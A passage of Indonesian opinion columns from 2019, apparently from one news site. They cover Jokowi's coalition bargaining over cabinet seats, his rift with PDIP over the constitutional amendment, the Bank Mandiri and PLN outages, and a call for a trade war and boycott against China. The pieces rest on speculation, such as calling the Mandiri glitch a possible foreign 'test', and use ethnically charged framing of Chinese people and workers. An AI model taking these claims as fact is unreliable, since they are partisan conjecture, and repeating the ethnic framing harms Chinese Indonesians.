Jokowi-Ma’ruf diusung oleh 9 parpol : PDIP, Golkar, PKB, Nasdem, PPP, Hanura, Perindo, PKPI, dan PSI. Belakangan Gerindra diajak masuk. Jadi setidaknya akan ada 10 partai di koalisi pemerintah. Bila ditambah dengan Demokrat yang sudah menyatakan mendukung pemerintah, jumlahnya 11 parpol. Ketua Umum PDIP Megawati dengan tegas minta Jokowi memberikan jatah kursi terbanyak kepada partainya. Permintaan yang sulit ditolak. Bagaimanapun Jokowi adalah kader dan petugas partai. Seandainya jatah kursi menteri disamakan dengan kabinet Jokowi-JK, maka setidaknya ada lima menteri asal PDIP. Menko PMK Puan Maharani, Mensekab Pramono Anung, Mendagri Tjahjo Kumolo, dan Menkumham Jasona Laoly. Oh iya tolong diingat, barangkali ada yang lupa, atau tidak tahu. Masih ada satu orang lagi ternyata, yakni Menkop Anak Agung Gede Ngurah Puspayoga. Dengan PDIP mendapat jatah yang sama, maka tinggal tersisa 10-11 kursi. Bila benar Gerindra mendapat tawaran tiga orang menteri, maka jumlah yang tersisa untuk partai lain, tinggal 7-8 menteri. Sangat tidak masuk akal. Mana mungkin Golkar, PKB, dan Nasdem bersedia mendapat jatah satu kursi sama dengan parpol lain, termasuk yang tidak lolos parlemen seperti Hanura, Perindo, PKPI, dan PSI. Lebih tidak mungkin lagi Golkar, PKB, dan Nasdem bersedia diberi kursi lebih sedikit dari Gerindra. (Masih tarik menarik) Dengan kalkulasi semacam itu, kendati Jokowi menyatakan susunan kabinet sudah final, namun sesungguhnya di balik layar masih jauh dari final. Sedang terjadi negosiasi, tarik menarik, dan tekan menekan menekan antar-kubu pendukung Jokowi. Sikap Ketua Nasdem Surya Paloh yang belakangan sering sangat kritis terhadap pemerintah, adalah bagian dari proses itu. Ujungnya bisa bertemu dan tetap berada dalam kabinet. Atau kalau sampai tidak menemukan titik temu, berada di luar kabinet. Berada di luar kabinet adalah opsi yang pasti sangat dihindari oleh parpol pendukung Jokowi-Ma’ruf. Yang berada di luar koalisi saja ingin masuk, masakan yang di dalam malah keluar. Impossible. Hil yang mustahal. Di luar parpol, perlu dicatat banyak kepentingan politik lain yang bermain di seputar Jokowi. Mulai dari kepentingan bisnis lokal maupun internasional, kelompok kepentingan di dalam negeri, dan kepentingan politik asing, terutama negara-negara adidaya seperti AS dan China. Representasi kelompok kepentingan itu bisa tercermin dari berbagai figur “non” parpol seperti Luhut Panjaitan, AM Hendropriyono, Gories Mere, Moeldoko, Sri Mulyani, Rini Soemarno dan beberapa figur lainnya. Sebagian dari mereka adalah proxy. Mereka harus tetap bertahan di lingkar kekuasaan, agar akses dan kepentingan mereka tetap terjaga. Hanya dengan begitu kartu mereka juga tetap hidup dan punya nilai politis dan bisnis. Tak bisa dipungkiri, di luar parpol kelompok kepentingan ini mempunyai peran besar dalam “kemenangan” Jokowi. Hal itu pasti sangat dipahami oleh Jokowi. Kelompok-kelompok kepentingan ini semuanya harus bisa diakomodasi oleh Jokowi. Pos kementerian yang diisi oleh para profesional, tidak selalu dapat diartikan mereka bebas dari kepentingan politik dan bisnis. Bisa saja mereka adalah profesional yang berafiliasi dengan parpol, kepentingan bisnis lokal maupun multinasional, kepentingan kelompok agama dan kelompok tertentu, dan kepentingan negara-negara asing. Menyadari banyaknya kepentingan semacam itu, maka sangat wajar bila para petinggi parpol kini tengah berjibaku, menggunakan berbagai macam cara untuk mengamankan kursinya. Khusus bagi Gerindra, bila akhirnya hanya mendapat pos satu atau maksimal dua kementerian, maka harga politik yang harus dibayar sangat mahal. Kecuali bila mendapat kompensasi berupa pos-pos lain di luar kabinet dan konsesi bisnis yang memadai. Lebih parah lagi kalau sampai Gerindra sama sekali tidak jadi mendapatkan kursi. Itu namanya ribut-ribut rebutan pepesan kosong. Dalam politik memang tidak ada Nasi Goreng yang gratis. End

Melawan Megawati, Jokowi Terpapar Radikal?

Presiden Joko Widodo terpapar paham radikal? Jika mengacu pada perbedaan pendapat dan berseberangan itu dianggap radikal, maka Jokowi bisa dikategorikan terpapar radikal karena berbeda sikap dengan PDIP. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Rencana amandemen terbatas UUD 1945 yang sebelumnya disepakati DPR, tampaknya bakal ditolak Presiden Joko Widodo. Sikap Presiden Jokowi ini jelas berseberangan dengan PDIP, parpol pengusung5 utama saat Pilpres 2014 dan 2019. Dia mengisyaratkan menolak amandemen terbatas UUD 1945 untuk mengembalikan MPR sebagai lembaga tertinggi negara dengan kewenangan menghidupkan kembali, menjalankan Garis-garis Besar Haluan Negara atau GBHN. “Saya ini kan produk pemilihan langsung,” ujarnya saat makan siang bersama para pemimpin redaksi media massa di Istana Merdeka, Jakarta, Rabu, 14 Agustus 2019, seperti dilansir oleh Tempo.co, Rabu (14/8/2019). Jokowi menyatakan, GBHN juga tidak diperlukan lagi. Alasannya, zaman bergerak dengan cepat dan dinamis sehingga harus direspons dengan cepat. Menurutnya, GBHN tak memiliki kemampuan untuk menjawab perkembangan zaman tersebut. Jokowi kemudian menuturkan, arah pembangunan sebenarnya sudah diatur dalam Rencana Pembangunan Jangka Menengah dan Jangka Panjang Nasional (RPJMN dan RPJPN).MPR merancang amendemen kelima UUD 1945 sejak tahun lalu. Rencana perubahan konstitusi didasari keinginan sejumlah parpol untuk menghadirkan kembali GBHN dalam sistem ketatanegaraan Indonesia. Mereka berpendapat GBHN penting untuk menyelaraskan visi dan misi pembangunan. Mayoritas partai di parlemen dikabarkan telah menyepakati amendemen terbatas ini. Masa jabatan parlemen periode 2014-2019 yang sudah hampir habis membuat pembahasan tersebut dilimpahkan kepada anggota MPR periode 2019-2024. Dalam rekomendasi hasil Kongres V PDIP di Denpasar, partai yang dipimpin Megawati itu juga kembali menegaskan perlunya amandemen UUD 1945 untuk menjamin kesinambungan pembangunan nasional dengan menetapkan kembali MPR sebagai lembaga tertinggi negara dengan kewenangan menetapkan GBHN. Sekjen PDIP Hasto Kristiyanto mengatakan, amendemen terbatas merupakan tanggung jawab partainya memberikan arah dan kepastian pembangunan nasional. Menurutnya, amendemen tersebut justru akan menjadi warisan kepemimpinan Jokowi yang visioner. “Pak Jokowi itu kader PDIP, apa yang telah dilakukan presiden justru akan menjadi dasar bagi rancangan haluan negara tersebut,” kata Hasto lewat keterangan tertulis, kemarin. Hasto juga menjamin amendemen tersebut tak akan melemahkan sistem presidensial. Ketum DPP Partai NasDem Surya Paloh menilai, wacana amandemen terbatas UUD 1945 perlu kajian lebih lanjut. Ia menyatakan, partainya di parlemen akan melihat seberapa jauh urgensi dari wacana amendemen tersebut. “Saya pikir dalam pengkajian, kalau tidak menutup kemungkinan NasDem lihat mana jauh lebih berarti,” ungkap Surya Paloh, seperti dilansir Tribunnews.com, Kamis (15/8/2019). “Kita ikut segera lakukan amendemen UUD, kita kembali ke UUD 1945 seutuhnya, atau terima model dan sistem demokrasi yang seperti ini dengan segala konsekuensi?” lanjut Surya Paloh. Satu diantara wacana amandemen terbatas adalah menghidupkan kembali GBHN. Ia menilai jika amandemen itu membuat negara lebih baik, dia akan mendukung hal itu. Sebaliknya, jika tidak baik, menurutnya, tak perlu ada yang diubah. “Jika kita anggap ini sudah paling bagus, semakin mendekati cita-cita kemerdekaan, ngapain diubah? Tapi kalau ancam negara kesatuan, kita ini hanya berikan kebebasan berserikat yang dipaparkan dengan kelompok radikalisme, sekali lagi radikalisme, dan garis keras, perlu kita kaji,” ucapnya. Sebelumnya, MPR masa kepemimpinan Zulkifli Hasan (2014-2019) akan mengeluarkan rekomendasi untuk mengamandemen terbatas UUD 1945. Khususnya, pasal yang mengatur eksistensi dan kedudukan MPR. Yang intinya agar MPR diberikan kembali wewenang untuk menetapkan GBHN atau pembangunan nasional semesta berencana. Rekomendasi tersebut nantinya akan diberikan kepada MPR periode selanjutnya, 2019-2024. “Kita sudah sepakat perlunya amandemen terbatas UUD 1945. Jadi, karyanya MPR sekarang pokok-pokok pikiran perlunya amandemen terbatas, ada bukunya, ada karyanya,” katanya, Rabu (24/7/2019). Selain amandemen soal GBHN, ternyata Presiden Jokowi juga menyatakan tidak setuju atas wacana agar pemilihan presiden dan wakil presiden dikembalikan lagi sebagai kewenangan MPR RI, bukan dipilih langsung oleh rakyat. Wacana itu sedang membahana seiring adanya usulan UUD 1945 diamandemen agar MPR kembali menjadi lembaga tertinggi negara, dan pengembalian pemberlakuan GBHN. Kata Jokowi, sistem pilpres secara langsung yang telah diterapkan sejak 2004 sudah tepat. “Saya ini terpilih jadi presiden melalui sistem pemilu langsung, jadi kenapa harus kembali ke sistem yang lama,” tukas Jokowi. Menurutnya, sistem pilpres langsung seperti kekinian sudah tepat, tak lagi perlu diubah, apalagi dikembalikan pada mekanisme perwakilan. Ia justru mengkhawatirkan, kalau sistem pilpres kembali memakai mekanisme keterwakilan via voting anggota MPR, bisa menimbulkan reaksi beragam dari berbagai kalangan sehingga membuat kegaduhan politik. *Kapitalis Radikal* Surya Paloh menyebutkan bahwa sistem bernegara Indonesia menganut sistem kapitalis yang liberal. Ia mengatakan itu ketika memberikan kuliah umum di Kampus UI, Jakarta Pusat, yang bertajuk “Tantangan Bangsa Indonesia Kini dan Masa Depan”. “Ketika kita berkompetisi (dalam pilpres dan pilkada), wani piro. Saya enggak tahu lembaga pengkajian UI ini sudah mengkaji wani piro itu saya enggak tahu, praktiknya yang saya tahu money is power, bukan akhlak, bukan kepribadian, bukan attitude, bukan ilmu pengetahuan juga. Above all, money is power,” kata Surya Paloh, Rabu (14/8/2019). Artinya, lanjut dia, sebenarnya Indonesia malu-malu kucing untuk mendeklarasikan sebagai negara kapitalis yang liberal. “Kita ini malu-malu kucing untuk mendeklarasikan Indonesia hari ini adalah negara kapitalis, yang liberal, itulah Indonesia hari ini,” jelas Surya Paloh. Tokoh nasional ini pun menyayangkan sistem politik yang cenderung kapitalis dan liberal di Indonesia, di mana tidak mendapat perhatian para akademisi. Padahal, realitas di Indonesia saat ini bertentangan dengan Pancasila. “Tidak ada pengamat, lembaga penelitian dan lembaga ilmiah tidak memperhatikan. You tahu enggak bangsa kita ini adalah bangsa yang kapitalis hari ini. You tahu enggak bangsa kita ini bangsa yang sangat liberal hari ini,” katanya. “Ngomong Pancasila, mana itu Pancasila. Tanpa kita sadari juga, kalau ini memang kita masuk dalam tahapan apa yang dikategorikan negara kapitalis,” papar Surya Paloh, seperti dilansir Republika.co.id, Rabu (1/8/2019). Menurut dia, saat ini Indonesia terlalu bersahabat dengan pragmatisme transaksional. Kita bertikai satu sama lain. Kita dekat dengan materialistik, kita bersahabat dengan pragmatisme transaksional, kita pakai jubah nilai-nilai religi. “Tapi kita sebenarnya penuh hipokrisi (munafik),” ujar Surya Paloh. Ia juga mempertanyakan apakah masyarakat Indonesia mampu mempertahankan NKRI ini karena sistem yang tumbuh dan berkembang adalah non-Pancasila. “Ada ideologi baru yang ditawarkan, entah apa bentuknya, saya minta penelitian dari UI,” pinta Surya Paloh tanpa menyebutkan ideologi yang dimaksud. Namun, dari narasi yang sering diucapkan pejabat, biasanya khilafah. Menurut pengamat politik Dedi Kurnia Syah, penyataan Surya Paloh tentang Indonesia yang sekarang menganut sistem negara kapitalis yang liberal bukan lagi bersandar pada ideologi Pancasila. Bagian dari motif politik NasDem untuk tidak didepak dari koalisi. Jadi, pernyataan Surya Paloh ini memiliki maksud terselubung untuk menyerang pemerintah. “Hemat saya, statement SP secara konteks bisa saja benar, dan ini adalah sikap kritis politisi. Meskipun di belakang itu, ada semacam motif politik untuk menyerang pemerintah,” ujarnya. “Termasuk serangan terhadap PDIP sebagai mitra koalisi yang juga menaungi Presiden,” ujar Dedi Kurnia di Jakarta, Kamis (15/8/2019). Menurutnya, ada dua alasan dimana Surya Paloh yang secara terang-terangan berani mengeluarkan statement tersebut. “SP bicara dalam kapasitas politisi, dia memahami antara realitas dan konsep yang hanya dipahami di atas kertas,” ujarnya. Kedua, relasi Surya Paloh tengah di ambang keretakan antara Presiden Jowi dengan Nasdem itu sendiri. Terlebih, hingga saat ini baik Surya Paloh maupun Ketum PDIP Megawati Soekarnoputri pamer kekuatan di internal koalisi. “Secara politik menjadi penanda jika hubungan SP dan Presiden dalam kondisi tidak baik, termasuk juga relasinya dengan mitra koalisi secara khusus PDIP,” tegas Dedi Kurnia, seperti dilansir PolitikToday.com, Kamis (15/8/2019). Keditakharmonisan Surya Paloh (NasDem) dengan Megawati (PDIP) jelas akan berpengaruh pada posisi sebagai Presiden Terpilih pada Pilpres 2019. Apalagi, terkait dengan amandemen UUD 1945, Jokowi “berseberangan” dengan PDIP. Jika Jokowi tidak hati-hati, bukan tidak mungkin Megawati akan memobilisasi kekuatannya bersama parpol sevisi di DPR untuk “menghadang” Jokowi di MPR. Lho, koq bisa? Politik itu dinamis, Bro! Bisa saja petanya berubah setiap saat! ***

Serangan Siber Bisa Hancurkan Perekonomian Indonesia

Apanya yang terpercaya jika rekening saja tidak aman karena bisa berkurang tanpa diambil pemiliknya, dan bertambah tanpa harus bersusah payah mengumpulkan uang lalu menyetorkannya. Oleh Mangarahon Dongoran (Wartawan Senior) Jakarta, FNN - Sabtu, 20 Juli 2019, sejumlah pemilik rekening Bank Mandiri mengeluh, saldo tabungannya berkurang. Tentu ada juga yang kaget, karena saldonya bertambah. Kabarnya, akibat peristiwa itu, bank plat merah tersebut mengalami kerugian triliunan rupiah. Selain itu, masih ada pemilik rekening yang saldo tabungannya bertambah belum mengembalikannya. Totalnya lumayan banyak. Ahad, 4 Agustus 2019, listrik padam/mati akibat gangguan transmisi Jawa-Bali. Akibatnya, listrik di Jakarta, Banten dan sebagian besar Jawa Barat mati total rata-rata 10 jam. Padam terjadi di daerah atau wilayah yang memiliki posisi strategis, baik secara ekonomi, sosial, keamanan dan politis. PT Perusahaan Listrik Negara (PLN) rugi Rp 90 miliar, ditambah tanggungan mengganti kerugian 22 juta pelanggan, yang diperkirakan mencapai Rp 900 miliar lebih. Total sementara PLN harus menanggung beban sekitar Rp 1 triliun, akibat gangguan transmisi yang kabarnya karena kayu sengon. Itu baru kerugian dari sisi PLN. Akan tetapi, dana penggantian dankerugian itu harus diawasi ketat, karena bisa-bisa angkanya di mark-up atau digelembungan. Sedangkan kerugian konsumen sulit dihitung. Sebab, berapa banyak usaha kecil, menengah dan bahkan besar tidak bisa beroperasi karena sangat tergantung pada listrik. Berapa banyak anak sekolah yang tidak bisa belajar karena listrik mati, sementara lilin sulit diperoleh. Berapa banyak anak yang tidak mendapatkan Air Susu Ibu (ASI), karena ASI yang biasa disimpan di kulkas ( ibunya bekerja) menjadi basi. Banyak Misteri Dua peristiwa yang terjadi di Badan Usaha Milik Negara (BUMN) tersebut masih menyimpan sejumlah misteri. Sebab, hingga sekarang, belum ada penjelasan resmi yang transparan atau terbuka penyebab pasti kedua peristiwa tersebut. Artinya, keterangan resmi yang dikeluarkan setelah dilakukan investigasi yang melibatkan pihak lain, terutama pihak kepolisian. Keterangan yang keluar dari Bank Mandiri adalah karena sistem teknologi informasinya terganggu. Jika TI-nya terganggu, itu karena apa? Apakah karena kurang perawatan, peralatan yang digunakan sudah daluarsa? Jika itu yang terjadi, siapa yang harus bertanggungjawab? Mengapa bisa terjadi untuk sebuah bank besar seperti Mandiri? Banyak pertanyaan yang harus dijawab oleh Direksi Bank Mandiri. Banyak misteri yang belum terungkap dari peristiwa yang dialami bank yang terkenal dengan moto, "Terdepan, Terpercaya Tumbuh Bersama Anda," itu. Apanya yang terpercaya jika rekening saja tidak aman karena bisa berkurang tanpa diambil pemiliknya, dan bertambah tanpa harus bersusah paya mengumpulkan uang lalu menyetorkannya. Pihak Mandiri membantah jika peristiwa tersebut akibat serangan hacker. Akan tetapi, banyak yang tidak percaya akan bantahan itu. Sebab, gangguan tersebut terjadi karena adanya sistem yang bekerja tidak baik. "Perubahan kemarin terjadi karena semacam multifuntion hadware. Dalam kesempatan ini data nasabah tidak ada yang hilang. Semua aman, " ucap Direktur Bisnis dan Jaringan Bank Mandiri, Hery Gunardi, ketika menjelaskan peristiwa buruk yang dialami bank itu. Betul data nasabah aman. Yang tidak aman itu isinya alias saldonya. Kok bisa saldo nasabah berubah? Masak sekelas bank yang memiliki aset Rp 1.206 (angka 2018) triliun itu bisa terganggu TI-nya? Apa tidak ada dana pemeliharaan rutin atau dana pembelian perangkat baru? Bobol Bank Lain Tidak menutup kemungkinan, kasus yang menimpa Bank Mandiri akan terjadi pada bank lainnya, terutama bank plat merah. Kasus pembobolan ATM juga dulunya dialami sedikit bank. Tapi lama-lama dialami banyak bank, terutama bank besar, karena pembobolnya melibatkan orang dalam bank. Kasus berkurangnya saldo nasabah di Bank Mandiri hendaknya menjadi peringatan keras yang tidak bisa dianggap main-main oleh pemangku kepentingan perbankan, terutama Bank Indonesia dan Otoritas Jasa Keuangan. Sebagai sebuah objek yang sangat vital di sektor perekonomian, kasus Bank Mandiri harus mendapatkan perhatian dan pengamanan dari kepolisian, terutama yang menangani cyber atau siber. Sebab, perampokan uang nasabah tidak lagi dilakukan secara konvesional (meski masih ada). Kasus perampokan nasabah dengan cara ditodong sepulang mengambil uang dari bank, kasus menggembosi ban mobil nasabah, sudah semakin jarang terjadi. Yang sering muncul, ya pembobolan ATM dan pembobolan rekeningnya secara canggih. Kasus terakhir ini bisa semakin sering terjadi lagi seiring dengan kecanggihan teknologi. Mengapa? Patut diduga, kasus Bank Mandiri sebagai uji coba terhadap pertahanan perbankan nasional. Uji coba untuk mengganggunya. Jika pada akhirnya ditemukan gangguan yang dilakukan secara sengaja (baik dari orang dalam), apalagi dari luar (bisa bank pesaing atau bisa juga ulah asing dan aseng), maka betapa lemahnya sistem keamanan perbankan kita. Jika uji coba ini berhasil, tidak menutup kemungkinan akan terjadi gangguan terhadap sistem perbankan nasional secara berturut-turut. Hal itu akan menyebabkan perekonomian nasional porak-poranda. Misalkan, tiba-tiba sistem dalam ATM atau yang berhubungan dengan uang elektronik atau E-Money diganggu dalam waktu sehari atau dua hari atau seminggu. Akibatnya, berapa banyak masyarakat yang tidak bisa berbelanja. Bahkan, mereka yang tidak memegang uang kontan -- karena telah mempercayakan transaksi lewat E-Money -- bisa kelaparan. Mau belanja atau makan di warung sederhana tak punya uang kontan, kalau makan atau belanja di restoran atau swalayan tidak bisa karena jaringan sedang terganggu. Ya, peristiwa yang terjadi pada Bank Mandiri dan PLN perlu dicermati. Perlu investigasi yang lebih mendalam. Pihak-pihak yang bertanggunggajawab di kedua BUMN itu jangan buru-buru mengeluarkan pernyataan yang menganggap persoalannya spele. Lakukan investigasi -- jika perlu investigasi independen -- sehingga terbongkar borok-borok yang sebenarnya. Bank Mandiri dengan jumlah nasabah 83,5 juta masih rentan diganggu. Saya belum mendengar keterangan dari direksinya, apakah kasus yang baru menimpa Mandiri menyebabkan nasabah eksodus ke bank lainnya. Atau barangkali, kasus Mandiri itu menyebabkan masyarakat semakin rajin menyimpan uangnya di bawah bantal, membeli emas, menyimpan dalam bentuk mata uang asing atau tabungan dalam investasi lainnya. *

Gandhi, Spirit Swadesi dan Perang Dagang Indonesia-Tiongkok

Gandhi mengajarkan gerakan swadesi, maksudnya “makan dan pakai apa yang dihasilkan oleh negeri sendiri”. Dalam bahasa sederhana, konsep swadesi menurut Gandhi mengarah pada Swarajya (kemerdekaan). Dalam arti pemerintah oleh negeri sendiri (self-rule), yang bertumpu pada kekuatan sendiri (self-reliance). Oleh Haris Rusly Moti Jakarta, FNN - Garam dan Mahatma Gandhi tak bisa dipisahkan. Gandhi dan para pengikutnya pernah melakukan civil disobedience. Mereka memprotes monopoli garam oleh pemerintah kolonial Inggris. “Satyagraha” adalah salah satu ajaran Gandhi tentang civil disobedience atau pembangkangan sipil. Gandhi memperkenalkan ajaran pembangkangan sipil yang dilakukan secara damai, tanpa kekerasan, disebut “ahimsa”. Kata orang Jawa “ndilalah”, kebutulan pada tahun 1930, di waktu Gandhi melancarkan protes itu. Ketika itu juga sedang terjadi the great depression (depresi akbar) yang mengguncang negara-negera kapitalis imperialis, Amerika Serikat dan Eropa Barat. Di Indonesia pada tahun 1929 itu, “ndilalah” Bung Karno juga ditangkap dan dijebloskan ke penjara. Ketika itu Bung Karno masih 28 tahun. Pada 30 Desember 1930 itu, ketika “gempa malaise” meruntuhkan pasar-pasar saham di negeri barat. Di dalam ruang sidang, Bung Karno dengan lantang membacakan pledoinya. Di depan hakim pengadilan kolonial (landraad) di Bandung, Bung Karno meneriakan: “Indonesia Menggugat”. Dua tahun sebelumnya, 1928. Satu tahun sebelum gempa ekonomi the great depression. Di atas tanah negeri Belanda, Bung Hatta lebih dulu diadili. Ketika itu, Bung Hatta masih berumur 26 tahun. Bung Hatta membacakan pembelaannya di depan pengadilan dengan judul yang menantang negara penjajah, “Indonesia Merdeka” (Indonesia Vrij). Dalam pidato pembelaan itu, Bung Hatta mengecam keras kejahatan dan kekejaman pemerintahan kolonial Belanda terhadap bangsa Indonesia. Berbeda sudut pandang dengan pledoinya Bung Karno, yang menentang penghisapan dan penindasan oleh sistem kapitalisme, kolonialisme dan imperialisme. Gandhi dan Spirit Swadesi Jika mengacu pada ajaran Hindu, maka sosok Gandhi dapat saja dikatakan sebagai salah satu bentuk reinkarnasi spirit Wisnu. Wisnu pernah reinkarnasi di dalam wujud Rama yang menentang Rahwana raja durjana. Pada episode yang lainnya, Wisnu juga pernah reinkarnasi di dalam wujud Sre Kresna dalam kisah Mahabarta. Reinkarnasi Wisnu dalam berbagai wujud biasanya dikaitkan dengan ketidakseimbangan kehidupan akibat keserakahan, penghisapan dan penindasan. Reinkarnasi Wisnu mengandung misi menegakan kembali keseimbangan kehidupan, meluruskan kembali yang dibengkokan. Kata Wisnu dalam wujud Sre Kresna kepada Arjuna, “...kapanpun kebenaran merosot dan kejahatan merajalela, aku pasti turun menjelma. Demi tegak kembali kebenaran, aku sendiri akan menjelma dari zaman ke zaman". Keserakahan kapitalisme serta eksploitasi kolonialisme dan imperialisme di Asia dan Afrika adalah sebab utama yang mengakibatkan runtuhnya keseimbangan kehidupan umat manusia. Kata Qur’an, “...dan langit telah ditinggikannya dan Dia letakkan keseimbangan, agar kamu jangan merusak keseimbangan itu…” (surat Ar-Rahman). Pada waktu itu, di India, melalui Undang-Undang Garam, pemerintah kolonial Inggris membuat kebijakan untuk memonopoli produksi dan penjualan garam. UU Monopoli Garam itu diantaranya melarang kaum pribumi di India untuk memproduksi atau menjual garam. Rakyat India kemudian dipaksa membeli garam dari tangan pemerintah kolonial Inggris. Harga garam ketika itu dibanderol sangat mencekik. Mahal tak terjangkau. Itu akibat monopoli dan pengenaan pajak penjualan yang sangat tinggi. Momentum itu membangkitkan Gandhi. Bersama 79 orang pengikutnya, Gandhi kemudian melakukan longmarch. Dimulai dari tempat tinggalnya di Sabarmati Ashram di Gujarat menuju kota Dandi di pesisir Laut Arab. Sekitar 387 kilometer jauhnya. Banyak kaum pribumi yang kemudian ikut bergabung dalam perjalanan panjang longmarch itu. Pada tahap berikutnya, Gandhi dan para pengikutnya kemudian melancarkan protes dengan cara membuat sendiri garam dari air laut. Gerakan pembuatan garam yang dipelopori oleh Gandhi itu segera meluas menjadi sebuah gerakan nasional. Rakyat di sejumlah wilayah lain di India juga mengikuti gerakan Gandhi tersebut. Gandhi mengajarkan gerakan swadesi, maksudnya “makan dan pakai apa yang dihasilkan oleh negeri sendiri”. Dalam bahasa sederhana, konsep swadesi menurut Gandhi mengarah pada Swarajya (kemerdekaan). Dalam arti pemerintah oleh negeri sendiri (self-rule), yang bertumpu pada kekuatan sendiri (self-reliance). Gandhi menuliskan “...satu negara yang rakyatnya tidak mampu memenuhi kebutuhan-kebutuhan sandang dan pangannya secara mandiri, tidak akan bisa mencapai atau menikmati Swarajya (kemerdekaan) yang sesungguhnya...” Pada prinsipnya, sebuah bangsa yang tidak mandiri secara ekonomi, mustahil dapat berdaulat secara politik. Karakter dan kepribadian bangsa itu juga otomatis hancur dengan sendirinya jika senantiasa bergantung secara ekonomi, baik ketergantungan modal maupun produk bangsa lain. Gandhi bukan yang pertama melancarkan gerakan swadesi. Istilah swadesi memang dari Gandhi. Namun spirit dan metode gerakan swadesi itu sendiri sebetulnya diinspirasi oleh “Lokmanya” Bal Gangadhar Tilak, seorang pejuang kemerdekaan India. “Lokmanya” adalah sebutan penghormatan untuk Tilak, artinya “pemimpin rakyat yang terkasih”. Tilak yang mempelopori gerakan pasif melawan kolonialisme Inggris, antara tahun 1900-1905. Bentuk gerakan pasif itu adalah boikot produk Inggris. Diantaranya Tilak mengajak tuan-tuan tanah untuk tidak menjual kapas hasil panen ke Inggris. Bentuk yang lainnya adalah mengajak rakyat untuk tidak membeli, memakan dan memakai produk industri Inggris. Aksi boikot terhadap produk Inggris yang dipelopori Tilak ketika itu mendapat dukungan luas secara nasional. Kaum cendekiawan, tuan-tuan tanah, saudagar besar dan kecil, emak-emak, hingga rakyat jelata, buruh dan tani mendukung dan terlibat dalam gerakan itu. Aksi boikot produk Inggris itu dilatarbelakangi oleh kebijakan yang mengharuskan penjualan kapas hasil perkebunan milik tuan-tuan tanah ke pemerintah kolonial Inggris dengan harga yang sangat murah. Kapas hasil perkebunan di India itu kemudian diolah oleh industri di Inggris menjadi tekstil dan produk tekstil, lalu dijual kembali ke India dengan harga yang sangat mahal. Perang Dagang dengan Tiongkok Spirit swadesi yang dilancarkan oleh Gandhi dan Tilak itu perlu dikobarkan kembali di negeri kita saat ini. Ketika bangsa Indonesia dibanjiri oleh produk impor, khususnya dari Tiongkok. Memang dulu, baik Bung Karno maupun Bung Hatta, pernah mengkritik “copy paste” metode gerakan swadesi itu oleh sejumlah pejuang kemerdekaan. Di zaman itu, Bung Karno memang tidak setuju dengan metode gerakan swadesi, atau boikot produk penjajah. Menurut Bung Karno, gerakan swadesi tidak menemukan alas teori yang kuat untuk dipraktekan di Indonesia pada tahun-tahun itu. Kata Bung Karno, kolonialisme Belanda di Indonesia adalah bentuk kolonialisme paling primitif yang membumihanguskan industri di dalam negeri Indonesia. Akibatnya industri di dalam negeri Indonesia tidak tumbuh seperti di India. Belanda ketika itu bukanlah sebuah negara industri. Karena itu, Belanda hanya menjadikan Indonesia sebagai sumber eksploitasi bahan mentah untuk dijual ke Eropa. Sejumlah industri di dalam negeri Indonesia yang pernah tumbuh sebelumnya justru musnah di era penjajahan Belanda. Karena itu, kata Bung Karno, kita tidak mungkin mencapai kemerdekaan atau “swarajya” melalui metode swadesi. Berbeda dengan India, yang dijajah oleh Inggris, sebuah negara industri maju. Sebagai negara industri, Inggris selain menjadikan India sebagai sumber eksploitasi bahan mentah, seperti kapas, dll. Inggris juga menempatkan India sebagai pasar bagi produk industrinya. Karena itu, Inggris juga membutuhkan meningkatnya daya beli di tanah jajahan. Maka tumbuhlah sejumlah industri, seperti industri pertanian, industri baja, industri tekstil. Pabrik-pabrik tumbuh untuk menyerap lapangan pekerjaan. Institusi pendidikan untuk mendidik rakyat juga didorong oleh pemerintahan kolonial Inggris. Tenaga terdidik dan terampil itu akan dijadikan sebagai penopang industri, yang akan turut mendongkrak daya beli masyarakat. Ketika Tilak melancarkan boikot produk Inggris untuk mencapai kemerdekaan, gerakan ini menemukan alas teoritiknya. Gerakan ini ditopang oleh basis kekuatan politik dari industri dalam negeri India yang sedang tumbuh, yaitu kaum terpelajar, tuan-tuan tanah, saudagar, pengrajin kecil, petani dan buruh yang dirugikan oleh kebijakan kolonialisme Inggris. Bagaimana dengan keadaan bangsa kita saat ini? Ketergantungan bangsa kita pada modal (utang) dan produk asing (impor) telah memasuki tahap yang mulai mencelakakan bangsa kita sendiri. Industri nasional milik anak-anak bangsa kita sebelumnya mulai tumbuh dan mekar. Namun kini, industri itu mulai runtuh berkeping-keping digempur oleh kebijakan perdagangan bebas, paket kebijakan liberalisasi investasi, hingga liberalisasi impor. Sebetulnya sejak ASEAN-China Free Trade Agrement (ACFTA) efektif dijalankan pada tahun 2010, mulai saat itu industri nasional kita tidak bisa lagi tegak berdiri di kaki sendiri. Produk China seperti tekstil, makanan, minuman, kosmetik, fiber sintetis, elektronik (kabel) dan peralatan listrik, kerajinan rotan, permesinan, besi serta baja merajalela pasar dalam negeri. Semuanya hampir dipasarkan dengan harga murah (low price), lebih murah ketimbang produk dalam negeri kita. Kini sejumlah industri nasional, baik milik kaum pribumi maupun punya orang tionghoa, yang telah runtuh itu mulai diubah menjadi gudang-gudang untuk menampung produk barang impor, terutama produk impor yang datang dari negeri Tiongkok yang sedang membanjiri pasar kita. Sama sekali tidak ada perlindungan atau proteksi dari pemerintah yang berkuasa. Padahal, di dalam Pembukaan UUD 1945 diantaranya telah mengamanatkan salah satu tujuan membentuk pemerintah negara Indonesia, yaitu “untuk melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia”. Perwujudan amanat konstitusi tersebut di bidang ekonomi adalah kewajiban pemerintah untuk melindungi atau memproteksi industri nasional kita dari gempuran produk industri asing. Pemerintah juga wajib melindungi pekerja nasional dari serbuan pekerja dari Tiongkok. Karena itu, tidak salah jika gagasan penulis untuk mendorong pemerintah melancarkan perang dagang Indonesia dengan Tiongkok sebagai bentuk baru dari gerakan swadesi. Perang dagang Indonesia dengan Tiongkok yang disertai gerakan boikot produk Tiongkok sangat tepat dan menemukan alas teoritik maupun legitimasi konstitusionalnya. Sekali merdeka, tetap merdeka!! * Haris Rusly Moti, Eksponen Gerakan Mahasiswa 1998 dan Pemrakarsa Intelligence Finance Community

Perlu Diaudit: Kekayaan Para Mantan Presiden, Wapres, Menteri, Dirut BUMN

